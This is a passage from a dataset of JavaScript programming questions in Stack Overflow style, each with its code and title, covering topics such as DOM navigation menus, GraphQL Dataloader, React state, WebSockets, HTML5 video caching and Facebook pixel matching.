] + ' < /a > < /li > ' ; } ; theID.innerHTML += ' < li class= '' w3-dropdown-hover w3-centered '' '+ 'style= '' width : ' + spaceAllocated + ' % '' > ' + ' < a class= '' hvr-reveal navFont '' > ' + ' < i class= '' fa fa-bars '' > < /i > < /a > ' + ' < ul id= '' dropDownContent '' class= '' w3-dropdown-content '' style= '' width : '+ spaceAllocated + ' % '' > ' + ' < /ul > ' + ' < /li > ' ; for ( var i = 1 ; i < numNav ; i++ ) { document.getElementById ( 'dropDownContent ' ) .innerHTML+= ' < li style= '' width : ' + ( 100 - 2*pad ) + ' % '' > '+ ' < a class= '' hvr-reveal navFont '' href= '' ' + navArray [ i ] .toLowerCase ( ) + '.html '' > ' + navArray [ i ] + ' < /a > < /li > ' ; } } if ( size == `` medium '' ) { var numNav = navArray.length ; var half = Math.floor ( numNav/2 ) ; var spaceAllocated = ( 100 ) / ( half+1 ) ; for ( var i = 0 ; i < half ; i++ ) { theID.innerHTML += ' < li style = `` width : ' + spaceAllocated + ' % '' > < a class= '' hvr-reveal navFont '' ' + ' href= '' ' + navArray [ i ] .toLowerCase ( ) + '.html '' > ' + navArray [ i ] + ' < /a > < /li > ' ; } ; theID.innerHTML += ' < li class= '' w3-dropdown-hover w3-centered '' '+ 'style= '' width : ' + spaceAllocated + ' % '' > ' + ' < a class= '' hvr-reveal navFont '' > ' + ' < i class= '' fa fa-bars '' > < /i > < /a > ' + ' < ul id= '' dropDownContent '' class= '' w3-dropdown-content '' style= '' width : '+ spaceAllocated + ' % '' > ' + ' < /ul > ' + ' < /li > ' ; for ( var i = half ; i < numNav ; i++ ) { document.getElementById ( 'dropDownContent ' ) .innerHTML+= ' < li style= '' width : ' + ( 100 - 2*pad ) + ' % '' > '+ ' < a class= '' hvr-reveal navFont '' href= '' ' + navArray [ i ] .toLowerCase ( ) + '.html '' > ' + navArray [ i ] + ' < /a > < /li > ' ; } } ; if ( size == `` large '' ) { var numNav = navArray.length ; var spaceAllocated = ( 100 ) / numNav ; for ( var i = 0 ; i < numNav ; i++ ) { theID.innerHTML += ' < li style = `` width : ' + spaceAllocated + ' % '' > < a class= '' hvr-reveal navFont '' ' + ' href= '' ' + navArray [ i ] .toLowerCase ( ) + '.html '' > ' + navArray [ i ] + ' < /a > < /li > ' ; } ; } ; } < div class= '' w3-container w3-section '' > < ul id= '' navBar '' class= '' w3-navbar w3-center '' > < /ul > < /div > < script type= '' text/javascript '' > var windowWidth ; var size ; jQuery ( document ) .ready ( function ( ) { windowWidth = jQuery ( window ) .width ( ) ; size = getSizeInText ( windowWidth ) ; if ( windowWidth > large ) { } if ( windowWidth < medium ) { } if ( medium < = windowWidth & & windowWidth < = large ) { } } ) ; jQuery ( window ) .resize ( function ( ) { windowWidth = jQuery ( window ) .width ( ) ; size = getSizeInText ( windowWidth ) ; if ( windowWidth > large ) { makeNavigation ( pages , `` navBar '' , size ) ; } if ( windowWidth < medium ) { makeNavigation ( pages , `` navBar '' , size ) ; } if ( medium < = windowWidth & & windowWidth < = large ) { makeNavigation ( pages , `` navBar '' , size ) ; } } ) ; < /script > /* Drop down content */li a , .dropbtn { display : inline-block ; text-align : center ; text-decoration : none ; } li.dropdown { display : inline-block ; } .dropdown-content { display : none ; position : absolute ; text-align : center ; width : inherit ; z-index : 1 ; } .dropdown-content a { text-decoration : none ; display : block ; } .dropdown : hover .dropdown-content { display : block ; } < nav id ='navigation-bar ' > < ul > < li > < a href= '' # '' > HOME < /a > < /li > < li class= '' dropdown '' > < a class= '' dropbtn '' > TEST < /a > < div class= '' dropdown-content '' > < a > 1 < /a > < a > 2 < /a > < a > 3 < /a > < /div > < /li > < /ul > < /nav >",JavaScript : dynamic navigation bar with dropdown disturbs dropdown element widths "JS : I 'm wondering if there 's any consensus out there with regard to how best to handle GraphQL field arguments when using Dataloader . The batchFn batch function that Dataloader needs expects to receive Array < key > and returns an Array < Promise > , and usually one would just call load ( parent.id ) where parent is the first parameter of the resolver for a given field . In most cases , this is fine , but what if you need to provide arguments to a nested field ? For example , say I have a SQL database with tables for Users , Books , and a relationship table called BooksRead that represent a 1 : many relationship between Users : Books.I might run the following query to see , for all users , what books they have read : Let 's say that there 's a BooksReadLoader available within the context , such that the resolver for books_read might look like this : The batch load function for the BooksReadLoader would make an async call to a data access layer method , which would run some SQL like : We would create some Book instances from the resulting rows , group by user_id , then return keys.map ( fn ) to make sure we assign the right books to each user_id key in the loader 's cache.Now suppose I add an argument to books_read , asking for all the books a user has read that were published before 1950 : In theory , we could run the same SQL statement , and handle the argument in the resolver : But , this is n't ideal , because we 're still fetching a potentially huge number of rows from the Books table , when maybe only a handful of rows actually satisfy the argument . Much better to execute this SQL statement instead : My question is , does the cacheKeyFn option available via new DataLoader ( batchFn [ , options ] ) allow the field 's argument to be passed down to construct a dynamic SQL statement in the data access layer ? I 've reviewed https : //github.com/graphql/dataloader/issues/75 but I 'm still unclear if cacheKeyFn is the way to go . I 'm using apollo-server-express . There is this other SO question : Passing down arguments using Facebook 's DataLoader but it has no answers and I 'm having a hard time finding other sources that get into this.Thanks ! query { users { id first_name books_read { title author { name } year_published } } } const UserResolvers = { books_read : async function getBooksRead ( user , args , context ) { return await context.loaders.booksRead.load ( user.id ) ; } } ; SELECT B . * FROM Books B INNER JOIN BooksRead BR ON B.id = BR.book_id WHERE BR.user_id IN ( ? ) ; query { users { id first_name books_read ( published_before : 1950 ) { title author { name } year_published } } } const UserResolvers = { books_read : async function getBooksRead ( user , args , context ) { const books_read = await context.loaders.booksRead.load ( user.id ) ; return books_read.filter ( function ( book ) { return book.year_published < args.published_before ; } ) ; } } ; SELECT B . * FROM Books B INNER JOIN BooksRead BR ON B.id = BR.book_id WHERE BR.user_id IN ( ? ) AND B.year_published < ? ;",handling GraphQL field arguments using Dataloader ? "JS : I have a dummy Bootstrap modal with a very simple JS alert meant to be triggered when the submit button is clicked . The code is live here and this is what it looks like : If you visit the site , you can trigger the modal by clicking on the contact link in the top navigation menu . The modal looks like this : As you can see , there 's just one field and a submit button . The button 's onclick ( ) event is set to alert the word `` something '' on the screen . This works fine except that when you close the alert , the page refreshes with a `` ? '' appended to the URL . How do I prevent this refresh and where does the question mark come from ? < div class= '' modal fade '' id= '' contact '' role= '' dialog '' > < div class= '' modal-dialog '' > < div class= '' modal-content '' > < form class= '' form-horizontal '' role= '' form '' name= '' contact-form '' > < div class= '' modal-header '' > < h4 > test < /h4 > < /div > < div class= '' modal-body '' > < p > This is body < /p > < /div > < div class= '' modal-footer '' > < button type= '' submit '' id= '' submit '' class= '' btn btn-primary btn-lg '' onclick= '' alert ( 'something ' ) ; '' > Send < /button > < /div > < /form > < /div > < /div >",Question mark in URL after closing alert box "JS : okay so I 'm fetching data from Firestore in componentDidMount but while it 's fetching the data if I change the component I get error saying : Warning : Ca n't call setState ( or forceUpdate ) on an unmounted component . This is a no-op , but it indicates a memory leak in your application . To fix , cancel all subscriptions and asynchronous tasks in the componentWillUnmount method.In Firebase real time database we call ref.off ( ) to stop query.Wondering how to do it in Firestore componentDidMount ( ) { Users.get ( ) .then ( ( { docs } ) = > { const users = docs.map ( user = > user.data ( ) ) ; this.setState ( { users } ) ; } ) ; } componentWillUnmount ( ) { }",How to stop Firestore ` get ` query on componentWillUnmount "JS : I have a textbox where onchange event adds some element at runtime . Due to this the submit button 's position is changed . If user enters something in the textbox and clicks on the button the onclick event does not fire . I suspect its because at the same time the position of the button changes and browser thinks the click happened on page and not on the button.Is there a way I can handle this situation ? I can not move the button above the element which is added at runtime.I have created a sample jsfiddle : http : //jsfiddle.net/WV3Q8/3/HTML : JavaScript : Edit 1Test Case ( Question is about 2nd test case ) Its happening in all browsers ( Chrome , IE 10 etc ) : Enter something in the textbox and hit tab , p element is added and button 's position is moved . Now click on submit button . An alert is shown.Enter something in the textbox and click on the submit button . p element is added but the alert is not shown.Edit 2 : I can not use other key events like keyup , keydown or keypress because of obvious reasons ( they fire on every keypress ) . setimeout too is out of question since there are some radio buttons which are generated at runtime on the onchange event of textbox . Its no wise to click on submit button without showing these radio buttons to user . < p > Enter something < /p > < input type= '' text '' id= '' input '' onchange= '' onChange ( ) '' > < div id= '' log '' > < /div > < button value= '' Go '' style= '' display : block '' type= '' button '' onclick= '' submit ( ) ; '' id= '' btn-submit '' > Submit < /button > function onChange ( ) { var value = $ ( ' # input ' ) .val ( ) ; $ ( ' # log ' ) .append ( ' < p > New value : ' + value + ' < /p > ' ) ; } function submit ( ) { alert ( 'value submitted ' ) ; }",button onclick does not fire when its position is changed "JS : I got my KineticJS game working inside CocoonJS quite nicely , except scaling the canvas . I have 1024x768 canvas , which is great for iPad 2 . But for iPad 4 , due to retina screen , the game takes only 1/4th of the screen.CocoonJS says this about the scaling : I have tried this adding this : But it is not working . Any idea how to get KineticJS created Canvases to scale in CocoonJS ? CocoonJS automatically scales your main canvas to fill the whole screen while you still continue working on your application coordinates . There are 3 different ways to specify howthe scaling should be done : idtkScale 'ScaleToFill ' // Default 'ScaleAspectFit ' 'ScaleAspectFill ' canvas.style.cssText= '' idtkscale : SCALE_TYPE ; '' ; // The SCALE_TYPE can be any of the ones listed above . layer.getCanvas ( ) ._canvas.style.cssText='idtkScale : ScaleAspectFit ; ' ;",Scaling KineticJS canvas with CocoonJS idtkscale JS : I have a div : cssmarkupNow what should i do to access the height ( numeric value ) of the above div in javascript ? I tried $ ( 'div ' ) .height ( ) & $ ( 'div ' ) .css ( `` height '' ) ; both returns auto . div { width : 200px ; height : auto } < div contenteditable= '' true '' > Text is editable < /div >,Accessing the height of div in javascript "JS : I have a player class with a sprite and I want to make it face towards my mouse pointer.I 'm using this to work out what the rotation of the sprite should be : and then in my draw method of my Player class I 'm doing this : it does something , however not what I want . The sprite seems to move wildly in a circle around the top left of the canvas ( x:0 , y:0 ) .How can I make the sprite face towards the mouse cursor , also using its centre point as the origin ? this.rotation = - ( Math.atan2 ( this.x - mouseState.x , this.y - mouseState.y ) * 180 / Math.PI ) ; Player.prototype.draw = function ( ) { window.ctx.save ( ) ; window.ctx.translate ( this.x + this.sprite.width / 2 , this.y + this.sprite/height / 2 ) ; window.ctx.rotate ( this.rotation ) ; window.ctx.drawImage ( this.sprite , this.x , this.y ) ; window.ctx.restore ( ) ; }",Rotating a sprite on a canvas element "JS : I 'm loading up data from the server via ajax requests . The JSON file has configurations for popups in the site.The variable names and template will be different for every occurrence of the popup . How can I get this string interpolated with the data that comes with it ? I need to pass the pre-built string to a component to be viewed using [ innerHTML ] . popupData : { data : { var_one : `` hello '' , var_two : `` world '' } , template : `` the < b > { { var_two } } < /b > say 's { { var_one } } '' }",Interpolate string with dynamic data with angular2 "JS : This is actually more a question about the object-orientation model in ES6 . However I am going to use the creation of a new custom element as an example.So the new and shiny ( as of today ) method to create a new custom element is via customElements.define ( ) which take in a tag name , a constructor , and options ( which is optional ) according to MDN , Google , and of course the spec . All the documentation listed uses a variation of the new class keyword for constructor.Assuming I do n't like the new class syntax , and considering for most part class is a syntatic sugar ( according to this tutorial ) . The spec even specifically state that A parameter-less call to super ( ) must be the first statement in the constructor body , to establish the correct prototype chain and this value before any further code is run.By reading the tutorial I came out with this to try if it is possible ( also to revise and re-learn Javascript 's object model ) .I am getting this error Error : The custom element being constructed was not registered with customElements.So my question is , is it possible to do it without using class keyword ( also without new if possible ) ? If the answer is no , should I stick to the class keyword instead of using Object.create when I write new Javascript code in the future ? var _extends = function ( _parent ) { var _result = function ( ) { _parent.call ( this ) ; } ; _result.prototype = Object.create ( _parent.prototype ) ; Object.defineProperty ( _result.constructor , 'constructor ' , { enumerable : false , writeable : true , value : _result } ) ; return _result ; } ; customElements.define ( 'foo-bar ' , _extends ( HTMLElement ) ) ; console.log ( document.createElement ( 'foo-bar ' ) ) ;",Creating custom element without using class keyword "JS : I have some div tag below : If I needed div with class start with `` ma '' , I would use $ ( 'div [ class^= '' ma '' ] ' ) , but what is opposite ? thanks . < div class= '' magazine '' > < /div > < div class= '' newsletter '' > < /div > // I need to take this div < div class= '' may-moon '' > < /div >",jQuery opposite of `` starts with '' selector : [ ^= ] "JS : Suppose I have two possibly infinite streams : I want to merge the streams and then map merged stream with slowish asynchronous operation ( e.g . in Bacon with fromPromise and flatMapConcat ) .I can combine them with merge : And then mapAs you see greedier s2 streams gets advantage in the long run . This is undesired behaviour.The merge behaviour is not ok , as I want to have some kind of backpressure to have more interleaved , `` fair '' , `` round-robin '' merge . Few examples of desired behaviour : One way to think this is that s1 and s2 send tasks to the worker which can handle only one task at the time . With merge and flatMapConcat I 'll get a greedy task manager , but I want more fair one.I 'd like to find a simple and elegant solution . Would be nice if it is easily generalisable for arbitrary amount of streams : Solution using RxJS or other Rx library is fine too.ClarificationsNot zipAsArrayI do n't want : Compare the example marble diagram : Yes I 'll run into buffering issues ... but so will I with straightforward unfair one : Marble diagram s1 = a..b..c..d..e ... s2 = 1.2.3.4.5.6.7 ... me = a12b3.c45d6.7e ... s1 = a..b..c..d..e ... s2 = 1.2.3.4.5.6.7 ... me = a12b3.c45d6.7e ... mm = a..1..2..b..3..c..4..5.. s1 = a ... ..b ... ... ... ... ..c ... s2 = ..1.2.3 ... ... ... ... ... ... mm = a ... 1 ... b ... 2 ... 3 ... .c ... s1 = a ... ... ... b ... ... ... .c ... s2 = ..1.2.3 ... ... ... ... ... ... mm = a ... 1 ... 2 ... b ... 3 ... .c ... // roundRobinPromiseMap ( streams : [ Stream a ] , f : a - > Promise b ) : Stream bvar mm = roundRobinPromiseMap ( [ s1 , s2 ] , slowAsyncFunc ) ; function roundRobinPromiseMap ( streams , f ) { return Bacon.zipAsArray.apply ( null , streams ) .flatMap ( Bacon.fromArray ) .flatMapConcat ( function ( x ) { return Bacon.fromPromise ( f ( x ) ) ; } ) ; } s1 = a ... ..b ... ... ... ... ..c ... ... .s2 = ..1.2.3 ... ... ... ... ... ... ... .mm = a ... 1 ... b ... 2 ... 3 ... .c ... ... . // wantedzip = a ... 1 ... b ... 2 ... ... ..c ... 3 ... // zipAsArray based function greedyPromiseMap ( streams , f ) { Bacon.mergeAll ( streams ) .flatMapConcat ( function ( x ) { return Bacon.fromPromise ( f ( x ) ) ; } ) ; } s1 = a ... ... ... b ... ... ... .c ... s2 = ..1.2.3 ... ... ... ... ... ... mm = a ... 1 ... 2 ... b ... 3 ... .c ... merge = a ... 1 ... 2 ... 3 ... b ... .c ...",How to interleave streams ( with backpressure ) "JS : I was reviewing the slides in this presentation : http : //slid.es/gruizdevilla/memoryand on one of the slides , this code is presented with the suggestion that it creates a memory leak : Closures can be another source of memory leaks . Understand what references are retained in the closure . And remember : eval is evilCan someone explain the issue here ? var a = function ( ) { var smallStr = ' x ' , largeStr = new Array ( 1000000 ) .join ( ' x ' ) ; return function ( n ) { eval ( `` ) ; //maintains reference to largeStr return smallStr ; } ; } ( ) ;",How do closures create memory leaks ? "JS : Why does using await need its outer function to be declared async ? For example , why does this mongoose statement need the function it 's in to return a promise ? I see the runtime/transpiler resolving the Teams promise to it 's value and async signaling it `` throws '' rejected promises.But try/catch `` catches '' those rejected promises , so why are async and await so tightly coupled ? async function middleware ( hostname , done ) { try { let team = await Teams.findOne ( { hostnames : hostname.toLowerCase ( ) } ) .exec ( ) ; done ( null , team ) ; } catch ( err ) { done ( err ) ; } }",JS async/await - why does await need async ? "JS : I am currently performing an ajax call to my controller with the following code : This is the controller : It gets to the controller and the AddNewProduct function runs successfully . The problem is that i want it to return the image name that is created within the controller . This works as well but with that it also return my complete html page.I alert something on success and when an error occurs but somehow it always ends up in the error with the following alert : it shows the value I need but why does it return my complete HTML as well ? $ .ajax ( { type : `` POST '' , url : `` @ Url.Action ( `` uploadImage '' , `` Item '' ) '' , data : ' { `` imageData '' : `` ' + image + ' '' } ' , contentType : `` application/json ; charset=utf-8 '' , dataType : `` json '' , success : function ( success ) { alert ( 'Success ' + success.responseText ) ; } , error : function ( response ) { alert ( response.responseText ) ; } } ) ; [ HttpPost ] public ActionResult uploadImage ( string imageData ) { string imageName = Guid.NewGuid ( ) .ToString ( ) ; try { ProductManager pm = new ProductManager ( ) ; pm.AddNewProduct ( imageName ) ; } catch ( Exception e ) { writeToLog ( e ) ; } return Json ( new { success = imageName } , JsonRequestBehavior.AllowGet ) ; }",ajax call returns values and my html page "JS : I 'm coding a WebSocket server in Java . When I use WebSocket to connect to the server in firefox , I found two connection were established , and one of them never send any data ... My firefox version is 15.0.1The same code run in Chrome is OK , connect once , established only one connection.Does anybody have the trouble like this ? There is the server 's code : And there is the js code : When I run this js code in firefox , I get this in my server console : accept socket : Socket [ addr=/127.0.0.1 , port=56935 , localport=11111 ] accept socket : Socket [ addr=/127.0.0.1 , port=56936 , localport=11111 ] ServerSocket svrSock = new ServerSocket ( ) ; svrSock.bind ( new InetSocketAddress ( `` 0.0.0.0 '' , 11111 ) ) ; while ( true ) { try { // accept connection Socket clientSock = svrSock.accept ( ) ; // print the socket which connected to this server System.out.println ( `` accept socket : `` + clientSock ) ; // run a thread for client new ClientThread ( clientSock ) .start ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } var url = 'ws : //localhost:11111/test/ ' ; var ws = new WebSocket ( url ) ; ws.onopen = function ( ) { console.log ( 'connected ! ' ) ; ws.send ( 11111 ) ; ws.close ( ) ; } ; ws.onclose = function ( ) { console.log ( 'closed ! ' ) ; } ;",WebSocket in Firefox establish two connection "JS : I have a re sizable div . While trying to resize it the whole page is getting selected with blue color even though I did n't intend to in iE and Edge . I have tried many solutions shown on web but nothing worked . Below is my code . I am unable to prevent default action by event on mouse move . I am listening on ownerDocument for mouse move event.Below code is working as expected in chrome and mozillaI have seen in console by inspecting in evt variable , before stop propagation prevent default is true , after stop propagation prevent default is false . Same as google chromes behavior but still dont get why is whole page getting selectedReact Code : < div className= '' resizer '' tabIndex= { -1 } onMouseDown= { this.MouseDown } / > private MouseDown ( evt : any ) { this.viewState.resizing = true ; const { ownerDocument } = ReactDOM.findDOMNode ( this ) ; ownerDocument.addEventListener ( 'mousemove ' , this.MouseMove ) ; ownerDocument.addEventListener ( 'mouseup ' , this.MouseUp ) ; this.setState ( this.viewState ) ; } private MouseMove ( evt ) { this.viewState.width = width ; this.viewState.height = height ; if ( evt.preventDefault ) { evt.returnValue = false ; evt.preventDefault ( ) ; } else { evt.cancelBubble = true ; } this.setState ( this.viewState ) ; }","evt.preventDefault is not working in IE and Edge on mouse move event , even tried evt.returnValue = false ; but did n't work to stop propagation" "JS : I would like to know whether a specific node can be highlighted on Click similar to states in hover ( linkOpacity ) and to replace it with it 's previous colour when some another node/series is clicked . In short , when the chart is loaded , the top node would be highlighted initially , and when the user clicks on another node , that particular selected node gets highlighted ( and the initially highlighted node would get back to its normal colour ) .Please find below a similar JSFiddle which highlights specific series on click ( which is being done by adding class with the help of JavaScript ) . Is there any feature in Highcharts which makes this possible without any DOM manipulation done by the end user ? events : { click : function ( event ) { event.target.classList.add ( 'additionalClass ' ) ; } }",Is there any way to highlight specific node on click | Highcharts Sankey "JS : I have been working with WeakMaps in JavaScript , and after checking the documentation I realized that the clear method has been deprecated / removed from ECMAScript 6 . What is the reason for this ? Why force us to do a clear function like : clear ( ) { this._weakmap = new WeakMap ( ) }",Why is WeakMap clear ( ) method deprecated ? "JS : I have the following table using html table , tr , td tags . This is all great , but I am using angular , and the problem is if I have more rows , I do n't have the space for it vertically . Instead I want to `` overflow '' to the right of it so that it looks like : What is the best way using HTML5/CSS so that I can make it such that content spills over if it exceeds the table ? Note that in some cases I may have 2 or 3 entries , so I am hoping I do n't have to make the width double the size of normal at the start , and instead have the table be sized based on the number of entries I have in the table . No scrollbars.I feel like the table tag in HTML is limiting and may not allow me to do this . What is the best way to do this ? Using divs ? Attempting a flexbox approach , though it seems that if I put the flexbox in a div , then the background does n't appear to fill properly once the entries go beyond the first column : https : //jsfiddle.net/t0h7w2hw/ < table style= '' background : green ; '' > < tr > < td > Name < /td > < td > Sport < /td > < td > Score < /td > < /tr > < tr > < td > Jordan < /td > < td > Soccer < /td > < td > 50 < /td > < /tr > < tr > < td > Jordan < /td > < td > Soccer < /td > < td > 50 < /td > < /tr > < tr > < td > Jordan < /td > < td > Soccer < /td > < td > 50 < /td > < /tr > < /table >",How can I make a `` Table '' where rows wrap horizontally in HTML5 /css3 ? "JS : in Vue JS , I can do < h1 v-if= '' someCondition '' > MY TITLE < /h1 > Is there a way to base the element type on some condition ? For example , based on someCondition I want my title to be < h1 > or < h2 > .I suppose I could useBut is there a more straightforward way of writing this ? < template v-if= '' someCondition === 0 '' > < h1 > MY TITLE < /h1 > < /template > < template v-if= '' someCondition === 1 '' > < h2 > MY TITLE < /h2 > < /template >",VueJS HTML element type based on condition "JS : I have an HTML5 video that is rather large . I 'm also using Chrome . The video element has the loop attribute but each time the video `` loops '' , the browser re-downloads the video file . I have set Cache-Control `` max-age=15768000 , private '' . However , this does not prevent any extra downloads of the identical file . I am using Amazon S3 to host the file . Also the s3 server responds with the Accepts Ranges header which causes the several hundred partial downloads of the file to be requested with the 206 http response code . Here is my video tag : UPDATE : It seems that the best solution is to prevent the Accept Ranges header from being sent with the original response and instead use a 200 http response code . How can this be achieved so that the video is fully cached through an .htaccess file ? Thanks in advance . < video autoplay= '' '' loop= '' '' class= '' asset current '' > < source src= '' https : //mybucket.s3.us-east-2.amazonaws.com/myvideo.mp4 '' > < /video >",HTML video loop re-downloads video file "JS : I have a logging API I want to expose to some internal JS code . I want to be able to use this API to log , but only when I am making a debug build . Right now , I have it partially working . It only logs on debug builds , but the calls to this API are still in the code when there is a regular build . I would like the closure-compiler to remove this essentially dead code when I compiler with goog.DEBUG = false.Log definition : AndroidLog is a Java object provided to the webview this will run in , and properly externed like this : Then , in my code , I can use : My question is this : How can I provide this API , use this API all over my code , but then have any calls to this API removed when not compiled with goog.DEBUG = true ? Right now , my code base is getting bloated with a bunch of calls to the Log API that are never called . I want the removed.Thanks ! goog.provide ( 'com.foo.android.Log ' ) ; com.foo.Log.e = function ( message ) { goog.DEBUG & & AndroidLog.e ( message ) ; } goog.export ( com.foo.Log , `` e '' , com.foo.Log.e ) ; var AndroidLog = { } ; /** * Log out to the error console * * @ param { string } message The message to log */AndroidLog.e = function ( message ) { } ; com.foo.Log.e ( `` Hello ! `` ) ; // I want these stripped in production builds",Make Closure Compiler strip log function usages "JS : Why is using componentDidUpdate more recommended over the setState callback function ( optional second argument ) in React components ( if synchronous setState behavior is desired ) ? Since setState is asynchronous , I was thinking about using the setState callback function ( 2nd argument ) to ensure that code is executed after state has been updated , similar to then ( ) for promises . Especially if I need a re-render in between subsequent setState calls.However , the official React Docs say `` The second parameter to setState ( ) is an optional callback function that will be executed once setState is completed and the component is re-rendered . Generally we recommend using componentDidUpdate ( ) for such logic instead . '' And that 's all they say about it there , so it seems a bit vague . I was wondering if there was a more specific reason it is recommended to not use it ? If I could I would ask the React people themselves.If I want multiple setState calls to be executed sequentially , the setState callback seems like a better choice over componentDidUpdate in terms of code organization - the callback code is defined right there with the setState call . If I use componentDidUpdate I have to check if the relevant state variable changed , and define the subsequent code there , which is less easy to track . Also , variables that were defined in the function containing the setState call would be out of scope unless I put them into state too.The following example might show when it might be tricky to use componentDidUpdate : vsAlso , apart from componentDidUpdate being generally recommended , in what cases would the setState callback be more appropriate to use ? private functionInComponent = ( ) = > { let someVariableBeforeSetStateCall ; ... // operations done on someVariableBeforeSetStateCall , etc . this.setState ( { firstVariable : firstValue , } , //firstVariable may or may not have been changed ( ) = > { let secondVariable = this.props.functionFromParentComponent ( ) ; secondVariable += someVariableBeforeSetStateCall ; this.setState ( { secondVariable : secondValue } ) ; } ) ; } public componentDidUpdate ( prevProps . prevState ) { if ( prevState.firstVariableWasSet ! == this.state.firstVariableWasSet ) { let secondVariable = this.props.functionFromParentComponent ( ) ; secondVariable += this.state.someVariableBeforeSetStateCall ; this.setState ( { secondVariable : secondValue , firstVariableWasSet : false , } ) ; } } private functionInComponent = ( ) = > { let someVariableBeforeSetStateCall = this.state.someVariableBeforeSetStateCall ; ... // operations done on someVariableBeforeSetStateCall , etc . this.setState ( { firstVariable : firstValue , someVariableBeforeSetStateCall : someVariableBeforeSetStateCall , firstVariableWasSet : true } ) ; //firstVariable may or may not have been changed via input , //now someVariableBeforeSetStateCall may or may not get updated at the same time //as firstVariableWasSet or firstVariable due to async nature of setState }",What is the advantage of using componentDidUpdate over the setState callback ? "JS : I have two graphs on one page , which zoom and pan I want to be able to control with the same RangeSelector . In other words when I move the RangeSelector both graphs should react simultaneously.The values in my first graph are small numbers between 2 and 20 , and the numbers in my second graph have big values > 3000 . This is the reason I do n't want to put both lines in the same graph . Both graphs have the same date-timeThis is my jsfiddleEDIT 1 : there is a solution , that synchronizes zooming and panning Multiple graphs in sync example , but I still wonder if this is doable with range selector g1 = new Dygraph ( document.getElementById ( `` graph1 '' ) , // For possible data formats , see http : //dygraphs.com/data.html // The x-values could also be dates , e.g . `` 2012/03/15 '' `` X , Y\n '' + `` 1,4\n '' + `` 2,2\n '' + `` 3,4\n '' + `` 4,6\n '' + `` 5,8\n '' + `` 6,3\n '' + `` 7,12\n '' + `` 8,14\n '' , { showRangeSelector : true } ) ; g2 = new Dygraph ( document.getElementById ( `` graph2 '' ) , // For possible data formats , see http : //dygraphs.com/data.html // The x-values could also be dates , e.g . `` 2012/03/15 '' `` X , Y\n '' + `` 1,4356\n '' + `` 2,4789\n '' + `` 3,4812\n '' + `` 4,5012\n '' + `` 5,4675\n '' + `` 6,4357\n '' + `` 7,4467\n '' + `` 8,5134\n '' , { // options } ) ;",DYGraphs : Control multiple graphs with one RangeSelector "JS : JSFiddle here : http : //jsfiddle.net/c6tzj6Lf/4/I am dynamically creating forms and buttons and want to disable the buttons if the required form inputs are not completed.HTML : JavaScript : choicesForm. $ invalid is false and does not change when entering text into the input field.Solution : I ended up using the angular-bind-html-compile directive from here : https : //github.com/incuna/angular-bind-html-compileHere is the relevant bit of working code : And choices might be a snippit of HTML like this : < div ng-app= '' choicesApp '' > < ng-form name= '' choicesForm '' ng-controller= '' ChoicesCtrl '' > < div ng-bind-html= '' trustCustom ( ) '' > < /div > < button ng-repeat= '' button in buttons '' ng-disabled= '' choicesForm. $ invalid '' > { { button.text } } < /button > < /ng-form > < /div > angular.module ( 'choicesApp ' , [ 'ngSanitize ' ] ) .controller ( 'ChoicesCtrl ' , [ ' $ scope ' , ' $ sce ' , function ( $ scope , $ sce ) { $ scope.custom = `` Required Input : < input required type='text ' > '' ; $ scope.trustCustom = function ( ) { return $ sce.trustAsHtml ( $ scope.custom ) ; } ; $ scope.buttons = [ { text : 'Submit 1 ' } , { text : 'Submit 2 ' } ] ; } ] ) ; < ng-form name= '' choicesForm '' > < div ng-if= '' choices '' bind-html-compile= '' choices '' > < /div > < button ng-click= '' submitForm ( ) '' ng-disabled= '' choicesForm. $ invalid '' > Submit < /button > < /ng-form > < div > < strong > What is your sex ? < /strong > < /div > < div > < input type= '' radio '' name= '' gender '' ng-model= '' gender '' value= '' female '' required > < label for= '' female '' > Female < /label > < br > < input type= '' radio '' name= '' gender '' ng-model= '' gender '' value= '' male '' required > < label for= '' male '' > Male < /label > < /div >",Disabling submit button based on fields added with ng-bind-html "JS : Given something likeMSIE 8 would throw up a `` Missing semi-colon on line # '' which was where the @ TODO was.After I sed 'd the dozens of @ TODO 's to be ! TODO , MSIE was able to properly parse the script and life went on . Am I missing something here , does MSIE use some sort of non-standard mechanism like // @ PRAGMA ? Googling for @ TODO or // @ did n't bring up anything useful . var obj = { foo : function ( ) { try { doSomething ( ) ; } catch ( ex ) { // @ TODO - report error } } }",Reason behind a JavaScript parsing error in MSIE 8 "JS : I have a few divs that I 'd like to put into an array . When I try to use jQuery.inArray ( ) , my div ( as a jQuery object ) is n't found . Why not ? var myArray = [ $ ( `` # div1 '' ) , $ ( `` # div2 '' ) , $ ( `` # div3 '' ) ] ; alert ( jQuery.inArray ( $ ( `` # div1 '' ) , myArray ) ) ; // returns -1",jQuery - using inArray ( ) to find index of jQuery object "JS : I have a single page javascript application , in which I am trying to implement Advanced Matching with the New Facebook Pixel to give us better attribution on our Ads.We currently init the FB pixel when the app is first loaded , then fire standard track events based on user behavior in the app , e.g . Purchase when the user completes their order.A simplified view of what is happening is below ... The advanced matching advises that the fields should be set when the pixel is initialized . However since we only initialize the pixel once on app load ( when we do n't know any user details ) I am unsure how to implement advanced matching . Initializing the same pixel again throws an error and there does not seem to be a way to pass advanced matching fields in a track event or a way to re-initialise the pixel.Has anyone had success using advanced matching in a single page js app ? // App loads// URL : xxxx.com/ [ client ] / ! function ( f , b , e , v , n , t , s ) { if ( f.fbq ) return ; n=f.fbq=function ( ) { n.callMethod ? n.callMethod.apply ( n , arguments ) : n.queue.push ( arguments ) } ; if ( ! f._fbq ) f._fbq=n ; n.push=n ; n.loaded= ! 0 ; n.version= ' 2.0 ' ; n.queue= [ ] ; t=b.createElement ( e ) ; t.async= ! 0 ; t.src=v ; s=b.getElementsByTagName ( e ) [ 0 ] ; s.parentNode.insertBefore ( t , s ) } ( window , document , 'script ' , 'https : //connect.facebook.net/en_US/fbevents.js ' ) ; // Pixel Initialised// we do n't know any user details at this stagefbq ( 'init ' , ' [ PIXELID ] ' ) ; fbq ( 'track ' , 'PageView ' ) ; // User selects the event they want to purchase tickets from// URL : xxxx.com/ [ client ] /event/ [ productid ] /fbq ( 'track ' , 'PageView ' ) ; fbq ( 'track ' , 'ViewContent ' , { content_name : 'Store ' , content_ids : ' [ productid ] ' , content_type : 'product_group ' } ) ; // User goes through rest of purchase process// More Standard Events sent , e.g . Add To Cart// User completes purchase// URL : xxxx.com/ [ client ] /order/completed/// At this point we now know email address , name & phone , but pixel is already initialised . How do we do Advanced Matching ? fbq ( 'track ' , 'PageView ' ) ; 